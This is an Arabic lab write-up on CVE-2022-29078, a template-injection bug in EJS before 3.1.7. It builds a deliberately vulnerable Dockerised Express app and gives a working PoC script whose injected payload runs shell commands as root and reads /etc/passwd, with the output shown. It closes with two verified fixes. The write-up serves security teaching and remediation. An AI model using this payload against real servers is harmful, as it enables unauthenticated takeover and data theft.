
مدرسة القبعة البيضاء - الدفعة الرابعة (الفصل 32) - وو سانغ-بوم (@taka3636)
تتيح ثغرة حقن القوالب من جانب الخادم (SSTI) في EJS < 3.1.7> (CVE-2022-29078) تنفيذ أوامر عشوائية على الخادم عن بُعد (RCE) دون مصادقة. يُنشئ هذا المستند بيئة قابلة للاستغلال عبر Docker، ويعيد إنتاج RCE باستخدام PoC، ثم يتحقق من إجراءين للمعالجة (ترقية المكتبة · تمرير الإدخال بشكل آمن).
EJS (Embedded JavaScript templates) هو محرك قوالب يُستخدم على نطاق واسع في النظام البيئي لـ Node.js. يُنشئ صفحات ديناميكية عبر تضمين جافاسكربت داخل HTML باستخدام وسوم <% %> مثل <h1>Hello <%= id %></h1>. داخليًا، يجمّع EJS سلسلة القالب إلى دالة جافاسكربت ثم ينفّذها لإنتاج HTML النهائي. أي أنه مولّد كود يحوّل "النص (القالب) إلى كود قابل للتنفيذ (دالة)"، وهذه الخاصية هي الخلفية الجذرية لهذه الثغرة.
يُدرج EJS < 3.1.7> قيمة خيار العرض outputFunctionName في مصدر الدالة المُجمَّعة دون أي تحقق. إذا مرّر التطبيق مدخلات المستخدم كما هي كخيارات عرض، يمكن للمهاجم تلويث هذا الخيار وتنفيذ كود عشوائي (RCE) على الخادم. ونظرًا لإمكانية السيطرة الكاملة على الخادم عن بُعد دون مصادقة، فإن درجة الخطورة عالية جدًا.
< 3.1.7>EJS/CVE-2022-29078/
├── docker-compose.yml # ربط بـ 127.0.0.1 (عزل)
├── Dockerfile # node:18.20.4 (تثبيت الإصدار)
├── app/
│ ├── server.js # تطبيق Express القابل للاستغلال
│ ├── package.json # تثبيت ejs 3.1.6 بدقة
│ └── views/page.ejs
├── poc.sh # سكربت تشغيل PoC
└── 1.png ~ 8.png # لقطات شاشة
18.20.4 مثبّت3.1.6 (تثبيت دقيق دون رموز نطاق — عند استخدام ^ أو ~ سيُثبَّت إصدار مُصحَّح وتتعذّر إعادة الإنتاج)4.18.2docker compose up -d --build دون الاعتماد على أي صور مخصصة خارجية.

يتحقق الهجوم عندما يتوفر الشرطان التاليان في الوقت نفسه.
< 3.1.7> القيمة outputFunctionName في الكود دون تحقق// app/server.js — نقطة الضعف
app.get('/page', (req, res) => {
res.render('page', req.query); // يمرّر req.query بالكامل كخيارات عرض
});
في res.render('page', req.query)، يمرّر Express مدخلات المستخدم (req.query) إلى EJS بالكامل كخيارات عرض. عندها يحلّل محلل qs صيغة الأقواس المعقوفة مثل settings[view options][outputFunctionName] ليكوّن كائنًا متداخلًا، وتُدمج قيمته في خيار الترجمة outputFunctionName الخاص بـ EJS. أي أن الكود (الدالة) الذي يزرعه المستخدم في موضع الخيار يُرفق بالخيار ويُمرَّر معه إلى EJS معًا. يُدرج EJS هذه القيمة أمام الدالة المُجمَّعة كما يلي:
var <outputFunctionName값> = __append;
بقيمة طبيعية يكون غير ضار مثل var myOut = __append;، لكن إذا كانت القيمة تحتوي على فاصلة منقوطة تقطع الجملة ثم كودًا، فسيُنفَّذ هذا الكود كما هو عند تشغيل الدالة المُجمَّعة. ويمكن وضع execSync(...) في هذا الموضع لقراءة ملف معيّن أو تنفيذ أوامر النظام.
المتطلبات: تثبيت Docker و Docker Compose، واتصال بالإنترنت أثناء البناء.
# 1) استنساخ المستودع والانتقال إلى المجلد
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) البناء والتشغيل
docker compose up -d --build
docker compose ps
# 3) التحقق من التشغيل الطبيعي
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) تشغيل PoC
bash poc.sh
# 5) التنظيف
docker compose down

poc.sh — تنفيذ ثلاثة أوامر على الخادم عبر حقن خيار outputFunctionName وجمع النتائج: [1] id (من ينفّذ الأوامر)، [2] /etc/passwd (قراءة ملف عشوائي)، [3] uname (مكان التنفيذ).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (حقن خيار outputFunctionName) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = أمر شل بترميز URL (يُنفَّذ داخل الحاوية ثم يُجمع الناتج)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] التحقق من صلاحيات التنفيذ (id) — هل هو root"
run "id%20%3E%20/tmp/out"
echo "[2] قراءة ملف عشوائي — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] كشف معلومات النظام — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g: ضروري لمنع تفسير الأقواس المعقوفة في عنوان URL كـ glob (بدونه تظهر curl: (3) bad range)%20، وإعادة التوجيه > %3Eنتيجة تشغيل poc.sh. الطلب العادي (id=world) يُرجع Hello world فقط، بينما تُنفَّذ الأوامر المحقونة عبر حقن outputFunctionName على الخادم ويُجمع ناتجها.

id → uid=0(root) gid=0(root): الأوامر المحقونة تُنفَّذ بصلاحيات root./etc/passwd → يُرجَع محتوى ملف حسابات النظام كما هو: يمكن قراءة أي ملف على الخادم (انتهاك السرية).uname → اسم المضيف 326f6f1b04b3 (معرّف الحاوية) يختلف عن اسم مضيف الجهاز الافتراضي (ubuntu-QEMU-Virtual-Machine): يثبت أن الأوامر نُفِّذت داخل الحاوية وليس على المضيف. أي أن صلاحيات root لا تنبع من sudo بل من عملية الخادم القابلة للاستغلال (node داخل الحاوية = root افتراضيًا).بطلب واحد عن بُعد دون مصادقة يمكن تنفيذ أوامر بصلاحيات root + قراءة ملفات عشوائية = CVE-2022-29078.
الإجراء 1 — ترقية المكتبة (معالجة جذرية)
ارفع إصدار ejs في package.json إلى 3.1.7 أو أحدث. يتحقق الإصدار 3.1.7+ من outputFunctionName باستخدام النمط /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ ويرفض الأحرف غير الصالحة كمعرّفات مثل الفاصلة المنقوطة، لذلك يُحجب الهجوم نفسه قبل تنفيذ الكود.
Error: outputFunctionName is not a valid JS identifier.


الإجراء 2 — تمرير الإدخال بشكل آمن (دفاع على مستوى التطبيق)
حتى مع الإصدار القابل للاستغلال (3.1.6)، إذا لم تُمرَّر مدخلات المستخدم بالكامل واكتُفي بتمرير القيم المطلوبة فقط، يختفي مسار الدمج settings[view options] ويصبح تلويث الخيارات مستحيلًا، مع بقاء الوظائف الطبيعية كما هي.
// قبل التعديل (قابل للاستغلال)
res.render('page', req.query);
// بعد التعديل (آمن)
res.render('page', { id: req.query.id });


توصية: طبّق كليهما — تحديث المكتبة (المعالجة الجذرية) وتقليل تمرير مدخلات المستخدم (الدفاع المتعمق). إضافةً إلى ذلك، يمكن تشغيل الحاوية بمستخدم غير root لتقليل نطاق الضرر عند حدوث RCE.